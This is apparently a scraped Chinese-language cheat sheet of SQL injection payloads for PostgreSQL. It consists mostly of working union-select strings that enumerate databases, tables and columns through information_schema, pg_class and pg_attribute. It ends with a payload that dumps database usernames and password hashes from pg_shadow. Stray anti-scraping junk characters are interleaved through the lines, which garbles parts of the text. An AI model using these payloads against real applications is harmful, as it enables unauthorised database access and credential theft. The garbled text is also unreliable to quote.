结合了MSSQL MySQL Oracle的一些特点
' b! v+ P, D2 R j7 `支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/' U" z& n& Q# N: W* H% g* H( I
连接符: %20 , + , /**/ 内置函数:$ B3 b, p! f( I) n/ [5 b! h
current_database() //当前数据库名& f6 w7 M4 I& `/ Z
session_user //会话用户
# a, X" t$ ~3 W5 M. T e" m/ mcurrent_user //当前数据库用户, e9 u& x6 Z, h) v% G; B1 s, |, n
user //当前用户/ D" \: w. K% |9 R) L( m: p- `- G- z
version() //数据库版本 Union注射:; _4 s/ j6 a$ y4 L
order by n–
7 I5 M1 h8 W3 M: F, n8 l- z5 `and 1=2 union select null,null,null–
8 Z) W V$ p3 B n; Band 1=2 union select ‘beach’,null,null–( Y7 z! R( m% u3 J' E. ^+ A; g) Z; E
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):. A, C0 f6 Y# T* J( H/ g
group_concat(table_name)+ B1 Q# g) p T
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–" M# L: H7 ~& K- F1 Z4 a+ S
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
( A5 n8 u3 R; C: e, m# {) h6 a(老版本)
, V# v! |6 b% y' `pg_class.oid对应pg_attribute.attrelid+ L+ |8 K5 ]8 N: E
pg_class.relname表名
3 L5 g, z/ t; ^+ a3 A; U. p, gpg_attribute.attname字段名 select relname from pg_class获取表名
; [/ U; h4 I& U4 dselect oid from pg_class where 条件 获取参数
/ c f2 W1 X2 B! _: ^) `5 Mselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
" |7 z8 L) D; K8 g3 |" @+ Q! |and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
; R$ e" |. ?6 C: |7 U. l% ~6 Uand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
* j f* Y: |1 h# V* k由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名6 ]2 p% }% @! _
====================================================================== A; E p* {# g
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库0 Z! X) M9 Z" y+ q3 I
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |